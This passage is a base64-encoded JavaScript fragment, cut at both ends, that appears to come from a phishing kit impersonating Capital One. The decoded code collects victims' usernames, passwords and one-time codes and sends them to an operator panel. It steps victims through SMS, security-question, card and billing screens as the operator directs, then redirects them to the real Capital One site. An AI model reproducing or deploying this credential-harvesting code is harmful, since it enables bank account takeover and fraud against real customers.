2xhc3NMaXN0LmFkZCgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyQm94MzQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmMyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJpbGxjb25uYy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdEVycm9yLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJveE90Q29udGFpbmVyLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJzbXMiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yQm94NC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRhaW5jMi5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYm94T3RDb250YWluZXIuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZihkYXRhLm1zZy5pbmNsdWRlcygicXVlc3Rpb246IikpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxldCBxdWVzdGlvbiA9ICBkYXRhLm1zZy5zcGxpdCgicXVlc3Rpb246IilbMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdFRleHQudGV4dENvbnRlbnQgPSBxdWVzdGlvbjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yQm94NC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRhaW5jMi5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYm94T3RDb250YWluZXIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBpZihkYXRhLm1zZyA9PT0gInJlc2V0Iil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JCb3g0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyQm94MzQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmMyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYm94T3RDb250YWluZXIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cuaW5jbHVkZXMoImludmFsaWRhc2s6IikpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxldCBxdWVzdGlvbiA9ICBkYXRhLm1zZy5zcGxpdCgiaW52YWxpZGFzazoiKVsxXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0VGV4dC50ZXh0Q29udGVudCA9IHF1ZXN0aW9uOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JCb3g0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RDYXJkLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVyckJveDU2LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyQm94MzQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmMyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3hPdENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJpbnZhbGlkdXNlciIpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQucmVzZXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm1zZzEuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJCb3gzNC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250YWluYzIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJpbGxjb25uYy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJveE90Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cgPT0gImludmFsaWRlbWFpbHBhc3MiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVtMmVycjIuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlbG9hZGVyQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g2LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc0NhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyVGV4dC50ZXh0Q29udGVudCA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LnJlbW92ZSgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9hZGVyQm94MzQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmMyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3hPdENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhckludGVydmFsKHZhbHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cgPT0gImRvbmUiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gImh0dHBzOi8vd3d3LmNhcGl0YWxvbmUuY29tLyI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgICAgfSwgNTAwMCk7CiAgICAgICAgICAgIH0pCiAgICAgICAgfTsKCiAgICAgICAgZkxnLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IHVzZXIgPSBlLnRhcmdldC5lbGVtZW50cy51c2VyLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwYXNzID0gZS50YXJnZXQuZWxlbWVudHMucGEudmFsdWU7CiAgICAgICAgICAgIGVycm1zZzEuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwoKICAgICAgICAgICAgY29uc3QgZGF0YSA9IG5ldyBGb3JtRGF0YSgpOwogICAgICAgICAgICBsZXQgcmVzID0gYFVzZXI6ICR7dXNlcn0gXG5QYXNzOiAke3Bhc3N9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKTsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImJhc2VVcmwiLCBmaWxlUGF0aCk7CiAgICAgICAgICAgIHBhbmVsU2VuZChkYXRhLCBlKTsKCiAgICAgICAgICAgIGJveE90Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsgCiAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJvcGFjIik7CiAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgib3BhYyIpOwogICAgICAgICAgICBsb2FkZXJCb3gzNC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CgogICAgICAgIH0pOwoKCiAgICAgICAgb3RDYXJkLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgIGNvbnN0IGNvZGUgPSBlLnRhcmdldC5lbGVtZW50cy5jb2RlLnZhbHVlOwogICAgICAgICAgICBsb2FkZXJCb3gzNC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgIGVycm9yQm94NC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJvcGFjIik7CiAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoIm9wYWMiKTsKCiAgICAgICAgICAgIGNvbnN0IGRhdGEgPSBuZXcgRm9ybURhdGEoKTsKICAgICAgICAgICAgbGV0IHJlcyA9IGBDb2RlOiAke2NvZGV9YDsKICAgICAgICAgICAgZGF0YS5hcHBlbmQoImRhdGEyIiwgcmVzKT